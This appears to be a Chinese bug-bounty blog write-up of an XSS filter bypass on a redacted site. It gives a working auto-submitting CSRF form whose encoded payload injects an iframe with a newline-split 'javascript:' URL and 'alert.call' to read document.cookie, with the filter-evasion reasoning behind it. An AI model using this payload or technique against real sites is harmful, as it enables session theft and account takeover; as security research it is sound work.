13. xss bypass 更改http请求方式+%0a绕过+自动触发csrfpoc


layout: post
title: 13. xss bypass
category: SRC
tags: SRC
keywords: SRC,XSS

前言

该篇记录为记录实际的src过程第13篇小文章,内容为某网站的xssbypass。

XSS特征

1.javascript,不能出现
2.常见的script iframe input标签不能出现
3.get类型
4.onxxx属性直接过滤了’onxx='这种模式
5.alert()被过滤

xss绕过payload

首先尝试get类型改成post类型,发现没有校验refer,可以通过csrf表单+postxss实现,post类型的waf情况就好一些了,iframe+src可以出现,但是javascript还是整体过滤掉了,这里用java%0ascript绕过,关键词alert无法实现,这里用aler.call(null,document.cookie)进行弹框。自动触发csrfpoc

<html>
<body>
<form method="POST" action="https://xxxxxx" id="test">
    <input type="hidden" name="xxxxxx" value="&quot;&gt;&lt;iframe&#47;src&#61;&quot;Java&#10;script&#58;a&#61;document&#59;alert&#46;call&#40;null&#44;a&#46;cookie&#41;&quot;&gt;&lt;&#47;iframe&gt;"></input>
</form>
<script>
var f=document.getElementById("test");
f.submit();
</script>

后话

xxxxx

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值